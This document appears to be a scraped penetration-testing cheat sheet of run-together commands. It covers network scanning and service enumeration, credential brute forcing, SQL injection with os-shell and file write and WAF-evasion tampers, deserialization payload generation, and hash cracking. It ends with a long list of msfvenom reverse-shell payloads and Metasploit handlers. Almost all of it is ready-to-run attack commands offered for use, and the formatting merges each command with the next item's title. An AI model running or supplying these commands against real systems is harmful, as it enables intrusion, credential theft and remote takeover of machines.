Scan21
cve-bin-tool - build HTML report
cve-bin-tool -f html <target>cve-bin-tool - offline scan
cve-bin-tool --offline <target>cve-bin-tool - scan for a given open source component (e.g. openssl)
cve-bin-tool -r <component> <target>cve-bin-tool - scan target (file or directory) to detect versions and CVEs of embedded open source components
cve-bin-tool <target>eyewitness - web screenshots
docker run --rm -it -v `pwd`:/tmp/EyeWitness eyewitness --web -x /tmp/EyeWitness/<nmap_file>.xml --prepend-httpsgowitness - web screenshots (file containing urls)
docker run --rm -v $(pwd):/data -p7171:7171 leonjza/gowitness gowitness file -f /data/<file>gowitness - web screenshots (nmap xml file)
docker run --rm -v $(pwd):/data -p7171:7171 leonjza/gowitness gowitness nmap -f /data/<nmap_file>.xmlmassscan - full port
masscan -p 1-65535 <ip> -e <dev> --rate=1000nmap - big top ports 5000
nmap --top-ports 5000 --open -sV <ip>nmap - classic scan
nmap -sC -sV <ip>nmap - classic scan + save
nmap -sC -sV -oA <output_file> <ip>nmap - FULL
IP=<ip>;
ports=$(nmap -p- --min-rate=1000 -n -T4 $IP | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//);
nmap -Pn -sC -sV -p$ports $IP -oN scan.txt --reason --script=vulnnmap - full port
nmap -p- -sV <ip>nmap - host with a given port
nmap <ip> -p<port_list> --opennmap - hosts alive
nmap -sn <ip_range>nmap - low rate Classic
nmap --max-rate 100 -sC -sV <ip>nmap - quick scan top ports 100
nmap --top-ports 100 --open -sV <ip>nmap - read targets from a file
nmap -iL <targets_file>nmap - SMB signing disabled
nmap -Pn -sS -T4 --open --script smb-security-mode -p445 <ip>nmap - udp scan
nmap -sU <ip>nmap behind proxy - tcp connect (-sT) - no dns (-n)
proxychains nmap -n -sT -sV -Pn --open -oA <output_file> -iL <targets_file>Protocol128
dig any information
dig ANY <domain_name> @<dns_ip>dig dns lookup
dig <domain_name> @1.1.1.1dig reverse lookup
dig -x <ip> @<dns_ip>dig zone transfer
dig axfr <domain_name> @<name_server>dig, find domains file ip address value
dig -f <domains.txt> +noall +answerdig, find domains file MX ip record
dig -f <domains.txt> MX +noall +answerdig, find external, public IP address
dig +short <domain_name> @resolver1.opendns.comdns metasploit enumeration
msfconsole -x "use auxiliary/gather/enum_dns; set domain <domain>; set ns <dns_server>; exploit"dns sublist3r - subdomain enumeration
sublist3r -d <domain> -vdns sublist3r - subdomain enumeration with bruteforce module enabled
sublist3r -b -d <domain>dnsrecon domain bruteforce
dnsrecon -d <domain> -D <wordlist> -t brt
dnsenum <domain>dnsrecon reverse lookup network range ip
dnsrecon -r <ip_with_network_mask> -n <domain_name_server>dnsrecon reverse lookup start/end ip
dnsrecon -r <startip>-<endip> -n <domain_name_server>dnsrecon standard enum on domain
dnsrecon -d <domain>dnsrecon zone transfer
dnsrecon -d <domain> -t axfrhost find mail server
host -t mx <domain>host find name server
host -t ns <domain>nmap activedirectory enum
nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='<domain>'"nmap dns tcp
nmap -n -sV --script "(*dns* and (default or (discovery and safe))) or dns-random-txid or dns-random-srcport" -p 53 <ip>nmap dns udp
nmap -n -sV -sU --script ""(*dns* and (default or (discovery and safe))) or dns-random-txid or dns-random-srcport" -p 53 <ip>nmap dnssec
nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=<domain> <ip>nmap grab banner
nmap -sV -p 53 --script dns-nsid <ip>enum4linux - all except dictionary based share name listing (default)
enum4linux -a <ip>enum4linux - guest access
enum4linux -u "guest" -p "" <ip>enum4linux - list Users
enum4linux -U <ip> |grep 'user:'enum4linux - null access
enum4linux -u "" -p "" <ip>enum4linux - verbose
enum4linux -v <ip>enum4linux - with authentication
enum4linux -u <user> -p <password> <ip>ftp - connect
ftp <ip>ftp - connect port
ftp <ip> <port>ftp - download all
wget -m ftp://anonymous:anonymous@<ip>ftp - enum anonym
nmap -v -p 21 --script=ftp-anon.nse <ip>ftp - msf bruteforce login
msfconsole -x "use auxiliary/scanner/ftp/ftp_login; set RHOSTS <ip>; set USER_FILE <user_file>; set PASS_FILE <password_file>; exploit"ftp download all (2)
wget -m --no-passive ftp://anonymous:anonymous@<ip>ldap nmap
nmap -n -sV --script "ldap* and not brute" -p 389 <ip>ldapdomaindump
ldapdomaindump --no-json --no-grep --authtype SIMPLE -o ldap_dump -r <ip> -u <domain>\\<username> -p '<password>'ldapsearch - list all computer with laps enabled and corresponding laps password if able
ldapsearch -x -H ldap://<dc_fqdn> -D <domain>\\<username> -w '<password>' -b 'DC=<domain>,DC=<path>' '(ms-Mcs-AdmPwdExpirationtime=*)' ms-Mcs-AdmPwdldapsearch - list all users
ldapsearch -x -H ldap://<dc_fqdn> -D <domain>\\<username> -w '<password>' -b 'DC=<domain>,DC=<path>' '(&(objectCategory=person)(objectClass=user))'ldapsearch - list all users protected by adminCount
ldapsearch -x -H ldap://<dc_fqdn> -D <domain>\\<username> -w '<password>' -b 'DC=<domain>,DC=<path>' '(&(objectCategory=user)(adminCount=1))'ldapsearch - list all users with password, pass, identifiant or pwd in their description
ldapsearch -x -H ldap://<dc_fqdn> -D <domain>\\<username> -w '<password>' -b 'DC=<domain>,DC=<path>' '(&(objectCategory=user)(|(description=*pass*)(description=*password*)(description=*identifiant*)(description=*pwd*)))'ldapsearch base
ldapsearch -x -H ldap://<dc_fqdn> -s baseldapsearch base with authentication
ldapsearch -x -H ldap://<dc_fqdn> -D <domain>\\<username> -w '<password>' -b 'DC=<domain>,DC=<path>'ldapsearch SPN
ldapsearch -Y GSSAPI -H ldap://<dc_fqdn> -D "<user>" -W -b "dc=<domain>,dc=<path>" "servicePrincipalName=*" servicePrincipalNameldapsearch with base dn
ldapsearch -x -H ldap://<dc_fqdn> -b <basedn>ldapsearch-ad - get the FGPP applied to a group
ldapsearch-ad.py --server '<dc_fqdn>' -d <domain> -u <username> -p <password> -t search -s '(samaccountname=<groupname>)' cn msDS-PSOAppliedldapsearch-ad - get the FGPP applied to a user
ldapsearch-ad.py --server '<dc_fqdn>' -d <domain> -u <username> -p <password> --type show-user -s '(samaccountname=<username>)'ldapsearch-ad - list all password policies including FGPP
ldapsearch-ad.py --server '<dc_fqdn>' -d <domain> -u <username> -p <password> --type pass-polsmssql - enum
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <ip>mssql - enum configuration setting (xp-cmdshell)
msfconsole -x "use auxiliary/admin/mssql/mssql_enum; set RHOST <ip>; set password <password>; run"mssql - enum sql login
msfconsole -x "use admin/mssql/mssql_enum_sql_logins; set RHOSTS <ip>; set USER_FILE <user_file>; set PASS_FILE <pass_file>; run"mssql link crawler
msfconsole -x "use exploit/windows/mssql/mssql_linkcrawler"connect
mysql -u <user> -p<password> -h <hostname> <database>Create database
mysql -u <user> -p -e "create database <database> character set UTF8mb4 collate utf8mb4_bin"Export database
mysqldump -u <user> -p <database> > <path>Import database
mysql -u <user> -p <database> <path>nmap - mysql enumeration
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <ip>nbtscan - netbios scan
nbtscan -r <ip_range>nfs - mount
mount -t nfs <ip>:<shared_folder> <mount_point> -o nolocknfs - mount with v2 (no authenrt=)
mount -t nfs -o vers=2 <ip>:<shared_folder> <mount_point> -o nolocknfs - nmap showmount
nmap -sV --script=nfs-showmount <ip>nfs showmount
showmount -e <ip>nmap - pop3 infos
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <port> <ip>postgres - connect
psql -h <host> -U <user>postgres - connect database
psql -h <ip> -U <user> -d <database>postgres - connect full options
psql -h <ip> -p <port> -U <user> -W <password> <database>Add firewall authorisation RDP
netsh.exe advfirewall firewall add rule name="Remote Desktop - User Mode (TCP-In)" dir=in action=allow program="%%SystemRoot%%\system32\svchost.exe" service="TermService" description="Inbound rule for the Remote Desktop service to allow RDP traffic. [TCP 3389] added by LogicDaemon's script" enable=yes profile=private,domain localport=3389 protocol=tcpdisable restricted admin
Remove-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdminenable RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /fenable restricted admin
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0rdesktop - classic
rdesktop -g 90% <ip> -u <user> -p <password> -d <domain>rdesktop - with share
rdesktop -g 90% <ip> -u <user> -p <password> -d <domain> -r disk:share=<share>rdp from console
sharprdp.exe computername=<computer> command="<command>" username=<domain>\<user> password=<password>xfreerdp - classic
xfreerdp /u:<user> /p:<password> /d:<domain> /v:<ip> /size:1800x924xfreerdp - pass the hash
xfreerdp /u:<user> /pth:<hash> /d:<domain> /v:<ip>xfreerdp - with share
xfreerdp /u:<user> /p:<password> /d:<domain> /v:<ip> /size:1800x924 /drive:share,<share>nbtscan - scan network looking for hosts
nbtscan -r <ip_range>smb - find not signed smb
nmap -Pn -sS -T4 --open --script smb-security-mode -p445 <ip>smb mount folder
mount -t cifs //<ip>/C\$ /tmp/mnttarget/ -o username=<user> -o domain=<domain>smbclient null session
smbclient \\\\<ip>\\<share> -U "%"smbclient sessions without password
smbclient \\\\<ip>\\<share> -U "<user>%"smbclient with username and password
smbclient \\\\<ip>\\<share> -U "<user>%<password>"smbmap
smbmap -H <ip> -u "<user>%<password>"smbmap - guest access
smbmap -u "guest" -p "" -P 445 -H <ip>smbmap - list root of all shares
smbmap -H <ip> -u <user> -p <password> -d <domain> -rsmbmap - null access
smbmap -u "" -p "" -P 445 -H <ip>smbmap - recursively list dirs, and files
smbmap -H <ip> -u <user> -p <password> -d <domain> -R <path> --depth 1msf - smtp user enum
msfconsole -x "use auxiliary/scanner/smtp/smtp_enum; set RHOSTS <ip>; exploit"nmap - smtp user enum
nmap –script smtp-enum-users.nse <ip>smtp nmap enumeration
nmap -p25 --script smtp-commands <ip>smtp nmap ntlm information disclosure
nmap -p25 --script smtp-ntlm-info <ip>smtp user enum
smtp-user-enum -M VRFY -U <userlist> -t <ip>nmap, snmp brute
nmap -sU --open -p 161 --script=snmp-brute <ip> --script-args snmp-brute.communitiesdb=<snmp_community_strings_file>nmap, snmp scan
nmap -sU --open -p 161 -sC -sV <ip>onesixtyone
echo public > community; echo private >> community; echo manager >> community; onesixtyone -c community -i ips; rm communitysnmp-check - check snmp service on specified port (default:162)
snmp-check -t <ip> -c public -p 162snmpwalk - list running processes
snmpwalk -c private -v1 <ip> 1.3.6.1.2.1.25.4.2.1.2snmpwalk entire tree
snmpwalk -c public -v1 <ip>get public ssh key of server
ssh-keyscan -t rsa <IP> -p <PORT>msf - bruteforce username
msfconsole -x "use scanner/ssh/ssh_enumusers; set RHOSTS <ip>; set USER_FILE <user_file>; set CHECK_FALSE true; exploit"SSH - old algorithm
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 <user>@<ip>SSH local port forwarding (get remote_port on local)
ssh -L <local_port>:<remote_host>:<remote_port> <user>@<ip>SSH proxysocks
ssh -D <socks_port> <user>@<ip>SSH remote port forwarding (send local port to remote) (need GatewayPorts yes)
ssh -R <remote_binding>:<remote_port>:<local_host>:<local_port> <user>@<ip>Start ssh agent
eval "$(ssh-agent -s)"; ssh-addnmap - telnet
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <ip>vnc - msf test login bf
msfconsole -x "use auxiliary/scanner/vnc/vnc_login; set RHOSTS <ip>; set RPORT <port>; set USERNAME <username>; run"vnc - msf test login bf (2)
msfconsole -x "use auxiliary/scanner/vnc/vnc_login; set RHOSTS <ip>; set RPORT <port>; set USER_FILE <users_file>; set PASS_FILE <pass_file>; run"vnc - nmap enum
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p <port> <ip>vnc - post exploit retrieve credentials
msfconsole -x "use post/windows/gather/credentials/vnc; set SESSION <session>; run"vnc msf test none auth
msfconsole -x "use auxiliary/scanner/vnc/vnc_none_auth; set RHOSTS <ip>; set RPORT <port>; run"vncviewer - connect to vnc no pass
vncviewer <ip>::<port>vncviewer - connect to vnc with password
vncviewer -password <password.txt> <ip>::<port>Enable winrm (powershell)
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *Enable winrm (wmic)
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force" # gone on Win11 24H2+/Server 2025 -> Get-CimInstance / Invoke-CimMethodEnable winrm remotelly from psexec
.\PsExec.exe \\<computername> -u <domain>\<username> -p <password> -h -d powershell.exe "enable-psremoting -force"evil-winrm install
gem install evil-winrmevil-winrm use
evil-winrm -i <ip>/<domain> -u <user> -p <password>evil-winrm use pass the hash
evil-winrm -i <ip>/<domain> -u <user> -H <hash>Execute a command on the target over winrm (powershell)
Invoke-Command -computername <computername> -ScriptBlock {<cmd>} -credential <domain>\<username>Execute a script on the target over winrm (powershell)
Invoke-Command -ComputerName <computername> -FilePath <path_to_script> -credential <domain>\<username>Get a powershell session with winrm (powershell)
Enter-PSSession -ComputerName <computername> -Credential <domain>\<username>Test target is configure to use winrm (powershell)
Test-WSMan -computername <computername>X11 - keylogging
xspy <ip>X11 - msf reverse shell
msfconsole -x "use exploit/unix/x11/x11_keyboard_exec; set RHOSTS <rhost>; set payload cmd/unix/reverse_bash; set lhost <lhost>; set lport <lport>; exploit"X11 - remote desktop view
xrdp <ip>:<display>X11 - screenshot
xwd –root –screen –silent –display <ip>:<display> > screenshot.xwd; convert screenshot.xwd screenshot.pngx11 - verify connection
xdpyinfo -display <ip>:<display>x11 - verify connection (2)
xwininfo -root -tree -display <ip>:<display>Web46
drupwn classic
drupwn --users --nodes --modules --dfiles --themes enum <url>drupwn, docker
sudo docker run --rm -it immunit/drupwn --users --nodes --modules --dfiles --themes enum <url>Abort or reduce scan speed to individual directory scans when too many errors have occurred
feroxbuster -u <url> --auto-baildefault scan
feroxbuster --url <url>default scan with wordlist
feroxbuster --url <url> -w <wordlist>dirb commons
dirb <url> -w /usr/share/wordlists/dirb/common.txtffuf fuzz Host filter response size
ffuf -w <wordlist> -u <url> -H "Host: FUZZ" -fs <response_size>ffuf fuzz keyword in url
ffuf -w <wordlist> -u <url>/FUZZffuf GET parameter fuzzing
ffuf -w <wordlist> -u <url>?<param>=FUZZ -fs <response_size>ffuf POST parameter fuzzing and filter response code 401
ffuf -w <wordlist> -u <url> -X POST -d "username=admin\&password=FUZZ" -fc 401gobuster scan classic
gobuster dir -u <url> -w <wordlist>gobuster scan high rate
gobuster dir -u <url> -w <wordlist> -t 30gobuster scan pentest classic fuzz
gobuster dir -u <url> -w <wordlist> -x json,html,php,txt,xml,mdgobuster scan with adding extension
gobuster dir -u <url> -w <wordlist> -x json,html,php,txtIPv6, non-recursive scan with INFO-level logging enabled
feroxbuster -u <proto|https>://[<ipv6>] --no-recursion -vvMultiple headers
feroxbuster -u <url> -H "<header>" "<header>"nikto - first vuln scan
nikto -C all -h <url>wfuzz on post parameter
wfuzz -z file,<file> -X post -u <url> -d 'FUZZ=1'wfuzz with number on url ( url : http://site/ )
wfuzz -z range,1-1000 -u <url>FUZZwfuzz with wordlist on url ( url : http://site/ )
wfuzz -z file,<file> -u <url>FUZZJwt tool bruteforce key
python3 jwt_tool.py -d <wordlists.txt> <JWT_token>Jwt tool Mode all tests
python3 jwt_tool.py -M at -t "<url>" -rh "Authorization: Bearer <JWT_Token>" -rh "<other_header>" -rc "<cookies>"Jwt tool reuse query id
python3 jwt_tool.py -Q "<jwttool_id>"Compare the MD5 hash of a certificate
openssl x509 -noout -modulus -in <INPUT_CRT> | openssl md5Compare the MD5 hash of a certificate signing request
openssl req -noout -modulus -in <INPUT_CSR> | openssl md5Compare the MD5 hash of a private key
openssl rsa -noout -modulus -in <INPUT_KEY> | openssl md5Convert a DER encoded file to a PEM encoded file
openssl x509 -inform der -in <INPUT_CRT> -out <OUTPUT_PEM>Convert a PEM certificate file and a private key to PKCS12 encoded file
openssl pkcs12 -export -out <OUTPUT_PKCS12> -inkey <INPUT_KEY> -in <INPUT_CRT> -certfile <INPUT_CRT>Convert a PEM encoded file to a DER encoded file
openssl x509 -outform der -in <INPUT_PEM> -out <OUTPUT_CRT>Convert a PKCS12 encoded file containing a private key and certificates to PEM
openssl pkcs12 -in <INPUT_PKCS12> -out <OUTPUT_PEM> -nodesCreate a new self-signed certificate
openssl req -x509 -sha256 -nodes -days <VALIDITY> -newkey rsa:<RSA_LENGTH> -out <OUTPUT_CRT> -keyout <OUTPUT_KEY>Create a new signing request and key
openssl req -new -newkey rsa:<RSA_LENGTH> -nodes -out <OUTPUT_CSR> -keyout <OUTPUT_KEY>Create a signing request from existing certificate and key
openssl x509 -x509toreq -out <OUTPUT_CSR> -in <INPUT_CRT> -signkey <INPUT_KEY>Create a signing request from existing key
openssl req -out <OUTPUT_CSR> -key <INPUT_KEY> -newDisplay the server certificate chain
openssl s_client -connect <URL>:<PORT>Extract the certificate from a PKCS12 encoded file
openssl pkcs12 -in <INPUT_PKCS12> -out <OUTPUT_PEM> -nodes -nokeysExtract the private key from a PKCS12 encoded file
openssl pkcs12 -in <INPUT_PKCS12> -out <OUTPUT_PEM> -nodes -nocertsRemove a passphrase from a private key
openssl rsa -in <INPUT_KEY> -out <OUTPUT_PLAINTEXT_KEY>Validate a certificate
openssl x509 -in <INPUT_CRT> -text -nooutValidate a certificate signing request
openssl req -text -noout -verify -in <OUTPUT_CSR>Validate a PKCS12 file (.pfx or .p12)
openssl pkcs12 -info -in <INPUT_PKCS12>Validate a private key
openssl rsa -in <INPUT_KEY> -checktomcat deploy
msfconsole -x "use exploit/multi/http/tomcat_mgr_deploy"tomcat manager bruteforce
msfconsole -x "use auxiliary/scanner/http/tomcat_enum"extract links from an url
curl -k -s <url> | grep -o 'http://[^"]*' | cut -d "/" -f 3 | sort -uwpscan with docker and burp proxy
sudo docker run -it --network host --rm wpscanteam/wpscan --proxy http://127.0.0.1:8080 --url <url> --disable-tls-checks -e ap,tt,cb,dbe,u1-20,m --api-token <wpscan_apitoken>SQL Injection16
basic sqlmap step 1
sqlmap -u <url> -p <arguments> --dbsbasic sqlmap step 2
sqlmap -u <url> -p <arguments> --dbms=<database_type>basic sqlmap step 3
sqlmap -u <url> -p <arguments> --dbms=<database_type> -D <database_name> --tablesbasic sqlmap step 4
sqlmap -u <url> -p <arguments> --dbms=<database_type> -D <database_name> -T <tables> --columnsbasic sqlmap step 5
sqlmap -u <url> -p <arguments> --dbms=<database_type> -D <database_name> -T <tables> -C <columns> --dumpsqlmap - classic get
sqlmap -u <url>sqlmap - classic post
sqlmap -u <url> -d "<params>"
sqlmap -u <url> --cookie=<cookie>sqlmap - dump a table
sqlmap -u <url> -D <db> -T <table> --dumpsqlmap - dump only some tables columns
sqlmap -u <url> -D <db> -T <table> -C <c1>,<c2> --dump
sqlmap -u <url> --os-shell
sqlmap -u <url> --file-read=<remote_file>
sqlmap -u <url> --file-write=<local_file> --file-dest=<remote_path_destination>sqlmap - hardcore
sqlmap -u '<url>' --level=5 --risk=3 -p '<parameter>' --tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywordssqlmap - list columns of a table
sqlmap -u <url> -D <db> -T <table> --columnssqlmap - list dbs
sqlmap -u <url> --dbssqlmap - list tables
sqlmap -u <url> -D <db> --tablessqlmap - mssql tamper list
sqlmap -u <url> --dbms=MSSQL tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedforsqlmap - mysql tamper list
sqlmap -u <url> --dbms=MYSQL tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotessqlmap - use file
sqlmap -r <request_file>
sqlmap -u '<url>' tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotesDeserialization4
convert file to base64 one line
iconv -f ASCII -t UTF-16LE <file_to_convert> | base64 | tr -d "\n"ysoserial java - generate payload
java -jar ysoserial.jar <lib_payload> 'powershell.exe -EncodedCommand <base64_encoded_command>' > <output_file>ysoserial.net - calc.exe payload for Json.Net using ObjectDataProvider gadget.
ysoserial.exe -f <lib|Json.Net> -g <gadget|ObjectDataProvider> -o raw -c "<command|calc.exe>" -tysoserial.net - generate payload VIEWSTATE
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -EncodedCommand <base64_encoded_command>" --path="<asp_file_webroot_relative_path>" --apppath="<application_path_webroot_relative>" --decryptionalg="3DES" --decryptionkey="<decryption_key>" --validationalg="SHA1" --validationkey="<validation_state>"BruteForce17
cewl - wordlist creation
cewl -w <file|wordlist.txt> -d <deep|3> -m <min_word_size|5> <url>crunch - generate wordlist charset
crunch <min> <max> -f /usr/share/crunch/charset.lst <charset|mixalpha-numeric> -o <output.txt>crunch - generate wordlist contain "password", 2 numbers and 1 special char
crunch 8 8 -t password%%^ -o <output.txt>crunch - generate wordlist hex
crunch <min|2> <max|8> 0123456789ABCDEF -o <output.txt>crunch - generate wordlist Upper(,) lower(@)x3 numeric(%)x3 special(^)x1
crunch 8 8 -t <pattern|,@@@%%%^> -o <output.txt>Hydra - ftp - 21
hydra -L <userlist> -P <passlist> <ip> ftpHydra - mysql - 3306
hydra -L <userlist> -P <passlist> <ip> mysqlHydra - postgres - 5432
hydra -L <userlist> -P <passlist> <ip> postgresHydra - smb - 445
hydra -L <userlist> -P <passlist> <ip> smbHydra - ssh - file "login:pass" format - specify port
hydra -t 4 -s <port> -C <file_login_pass> <ip> sshHydra - ssh - null password - 22
hydra -l <user|root> -e n <ip> sshHydra - ssh - password=reverseuser - 22
hydra -L <userlist> -e r <ip> sshHydra - ssh - user and password - 22
hydra -l <user|root> -p <password|root> <ip> sshHydra - ssh - user=password - 22
hydra -L <userlist> -e s <ip> sshHydra - ssh - userlist and password list - 22
hydra -L <userlist> -P <passlist> <ip> sshHydra - telnet - 23
hydra -L <userlist> -P <passlist> <ip> telnetHydra - vnc - 5900
hydra -L <userlist> -P <passlist> <ip> vncPassword Cracking23
7z - 7za
cat <wordlist> | 7za t <file>.7z7z - john
./7z2john.pl <file>.7z > 7zhash.john;
john 7zhash.johnkeepass kdbx - john
keepass2john <file>.kdbx > out.kbdx.hashes && john --wordlist <wordlist> out.kbdx.hashesPDF - pdfcrack
pdfcrack <file>.pdf -w <wordlist>PDF decrypt - qpdf
qpdf --password=<PASSWORD> --decrypt <encrypted_pdf>.pdf <plaintext_pdf>.pdfXLS PPT DOC - john
python3 <path_to_john>/run/office2john.py <file>.xls > out.hash && john --wordlist <wordlist> out.hashZIP - fcrackzip
fcrackzip -u -D -p <wordlist> <file>.zipZIP - john
zip2john <file>.zip > zip.john;
john zip.johnhashcat - basic md5 (joomla/wordpress) - wordlist
hashcat -a 0 -m 400 hashes <wordlist>hashcat - basic md5 (joomla/wordpress) - wordlist with rules
hashcat -a 0 -m 400 hashes <wordlist> -r /usr/share/doc/hashcat/rules/best64.rulehashcat - generate wordlist using rules
cat keywords.txt | hashcat -r <rule_file> --stdout > ./<custom_wordlist>hashcat - kerberos ticket (after kerberoasting)
hashcat -m 13100 --force -a 0 hashes <wordlist>hashcat - LM
hashcat -m 3000 -a 0 hashes <wordlist>hashcat - NTLM
hashcat -m 1000 -a 0 hashes <wordlist>hashcat - NTLMv1
hashcat -m 5500 -a 0 hashes <wordlist>hashcat - NTLMv2
hashcat -m 5600 -a 0 hashes <wordlist>hashcat - NTLMv2 - Combination attack (ex:passpass,testtest,passtest,etc)
hashcat -m 5600 --force -a 1 hashes <custom_wordlist> <custom_wordlist>john LM
john --wordlist=<wordlist> --format=lm hash.txtjohn NTLM
john --wordlist=<wordlist> --format=nt hash.txtjohn NTLMv1
john --wordlist=<wordlist> --format=netntlm hash.txtjohn NTLMv2
john --wordlist=<wordlist> --format=netntlmv2 hash.txtjohn ssh
john --wordlist=<wordlist> <ssh_hash|sshkey.hash>john ssh convert key
python /usr/share/john/ssh2john.py <ssh_key> > <ssh_hash|sshkey.hash>Reverse Shell55
ASP Meterpreter Reverse TCP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f asp > shell.aspBash Unix Reverse Shell
msfvenom -p cmd/unix/reverse_bash LHOST=<ip> LPORT=<port> -f raw > shell.shCsharp - xor encrypted
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<ip> LPORT=<port|443> --encrypt xor --encrypt-key <key> -f csharpDLL
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<ip> LPORT=<port|443> -f dll -o <dll|output.dll>JSP Java Meterpreter Reverse TCP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f raw > shell.jspLinux Meterpreter Reverse Shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f elf > shell.elfLinux Meterpreter Reverse TCP Shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f <language>Linux x64 Meterpreter Reverse tcp
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<ip|tun0> LPORT=<port> prependfork=true -f elf -t 300 -e x64/xor_dynamic -o test.elfMac Reverse Shell
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f macho > shell.machoMac Reverse TCP Shellcode
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f <language>MCreate User
msfvenom -p windows/adduser USER=<user|hacker> PASS='<pass|Hacker123$>' -f exe > adduser.exeMetasploit - Handler linux tcp 64bits stagged - encoded xor
msfconsole -x "use exploits/multi/handler; set lhost <ip|tun0>; set lport <lport|443>; set payload windows/x64/meterpreter/reverse_https; set EXITFUNC thread; set EnableStageEncoding true; set StageEncoder x64/xor_dynamic; exploit"Metasploit - Handler windows https 64bits stagged - encoded xor
msfconsole -x "use exploits/multi/handler; set lhost <ip>; set lport <port|443>; set payload windows/x64/meterpreter/reverse_https; set EXITFUNC thread; set EnableStageEncoding true; set StageEncoder <encoder|x64/xor_dynamic>; exploit"Metasploit - Handler windows https 64bits unstaged
msfconsole -x "use exploits/multi/handler; set lhost <ip>; set lport <port|443>; set payload windows/x64/meterpreter_reverse_https; exploit"Metasploit Handler windows https 32bits staged
msfconsole -x "use exploits/multi/handler; set lhost <ip>; set lport <port|443>; set payload windows/meterpreter/reverse_https; set EXITFUNC thread; exploitMetasploit Handler windows https 64bits staged
msfconsole -x "use exploits/multi/handler; set lhost <ip>; set lport <port|443>; set payload windows/x64/meterpreter/reverse_https; exploit"Metasploit Handler windows tcp 32bits staged
msfconsole -x "use exploits/multi/handler; set lhost <ip>; set lport <port>; set payload windows/meterpreter/reverse_tcp; exploit"meterpreter x64 - https - non staged
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=<port|443> -f exe -o /var/www/html/msfnonstaged.exemeterpreter x64 - https - staged
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<ip> LPORT=<port|443> -f exe -o /var/www/html/msfstaged.exemsfvenom - payload windows x86 meterpeter unstagged
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<local_ip> LPORT=<local_port> -f exe > shell.exemsfvenom payloads list
msfvenom --list payloadsPerl Unix Reverse shell
msfvenom -p cmd/unix/reverse_perl LHOST=<ip> LPORT=<port> -f raw > shell.plPowershell
msfvenom -p windows/meterpreter/reverse_https LHOST=<ip> LPORT=<port|443> EXITFUNC=thread -f ps1powershell 32 bits
msfvenom -p windows/meterpreter/reverse_https LHOST=<ip> LPORT=<port|443> EXITFUNC=thread -f ps1Python Reverse Shell
msfvenom -p cmd/unix/reverse_python LHOST=<ip> LPORT=<port> -f raw > shell.pyVBA 32bits
msfvenom -p windows/meterpreter/reverse_https LHOST=<ip> LPORT=<port|443> EXITFUNC=thread -f vbapplicationWAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f war > shell.warWeb Payloads
msfvenom -p php/meterpreter_reverse_tcp LHOST=<ip> LPORT=<port> -f raw > shell.phpWindows Encoded Meterpreter Windows Reverse Shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<local> -e shikata_ga_nai -i 3 -f exe > encoded.exeWindows Meterpreter Reverse TCP Shell
